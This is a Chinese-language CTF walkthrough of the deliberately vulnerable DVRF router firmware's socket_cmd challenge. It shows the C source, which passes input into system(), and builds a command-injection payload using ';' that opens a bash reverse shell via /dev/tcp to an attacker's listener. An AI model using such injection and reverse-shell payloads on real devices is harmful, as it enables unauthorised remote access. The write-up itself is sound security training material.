前言

这次的这道题目是 DVRF 的,程序是 pwnable/ShellCode_Required/ 目录下的 socket_cmd 。题目涉及到了简单的命令注入的绕过。

漏洞分析

在 github 下直接查看源码:

https://github.com/praetorian-inc/DVRF/blob/master/Pwnable%20Source/ShellCode_Required/socket_cmd.c

源码如下:

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Command Injection

int main(int argc, char **argv[])
{
if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);

}

    char str[200] = "\0";
    char endstr[100] = "\0";
    int listen_fd, comm_fd;
    int retval = 0;

    struct sockaddr_in servaddr;

    listen_fd = socket(AF_INET, SOCK_STREAM, 0);

    bzero( &servaddr, sizeof(servaddr));

    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
    printf("Binding to port %d\n", atoi(argv[1]));

    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    if (retval == -1){
    printf("Error Binding to port %d\n", atoi(argv[1]) );
     exit(1);}


    listen(listen_fd, 2);

    comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);

    while(1)
    {

        bzero(str, 200);
    write(comm_fd, "Send me a string:",17);
        read(comm_fd,str,200);
    if (!strcasecmp(str, "exit")){
    write(comm_fd, "Exiting...");
    exit(0);
    }
    snprintf(endstr, sizeof(endstr), "echo %s", str);
    system(endstr);
    bzero(endstr, 100);
    snprintf(endstr, sizeof(endstr), "You sent me %s", str);

        write(comm_fd, endstr, strlen(endstr)+1);

    }
}

阅读源码可以知道程序的功能是在本地绑定一个端口进行监听,然后我们用 nc 直接连接上去就行了。

  • 这里就相当于路由器在初始化一个 httpd 进程后,绑定了 80 端口,只要我们连接这个端口就可以进行访问。

例如我们这里绑定到本地的 55555 端口,然后再开一个终端连接上去

程序会输出我们的输入的字符串。

看源码发现,程序会使用 snprintf 格式化的输出并直接调用 system 函数,执行 shell 指令。

所以很明显这里存在一个命令执行的注入。这种形式的注入在做 CTF 的 WEB 题中还是可以经常遇到的。

IDA 中,也可以很清晰的看到,system 函数直接把 snprintf 函数格式化后到栈上的字符串作为参数来执行命令。

构造 payload

源码的 system 函数是 system("echo %s"); 这样调用的,我们可以使用 | 或者 ; 来达到截断的目的。

例如:system("echo 123;ls") 或者 system("echo 123|ls")

但是在这个命令执行的回显是在服务器端的,我们无法看到回显。所以自然就会想到我们可以通过反弹一个 shellgetshell

可以使用 bash -i 来反弹:

bash -i >& /dev/tcp/ip/port 0>&1

但是这里直接使用的话是不起作用的,貌似是空格被截断了啥的。

所以这里我们需要使用bash -c 命令,bash -i 的这个命令作为他的参数传进去,即:

123;bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

vps 上开启一个监听端口,就可以正常弹回 shell

  • 原来以为 snprintf 函数存在栈溢出,但是其实只有 sprintf 才会溢出

总结

从这题的源码以及解题思路可以得出,在挖掘 IOT 固件漏洞的过程中,还可以尝试绑定的某个端口的 fuzz 的命令注入,或许会有意想不到的效果。

这题应该还有许多种绕过姿势的,这边就讲到的最简单的两种,使用 | 和 ; 符号进行注入。别的姿势大家可以自行挖掘和尝试。

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖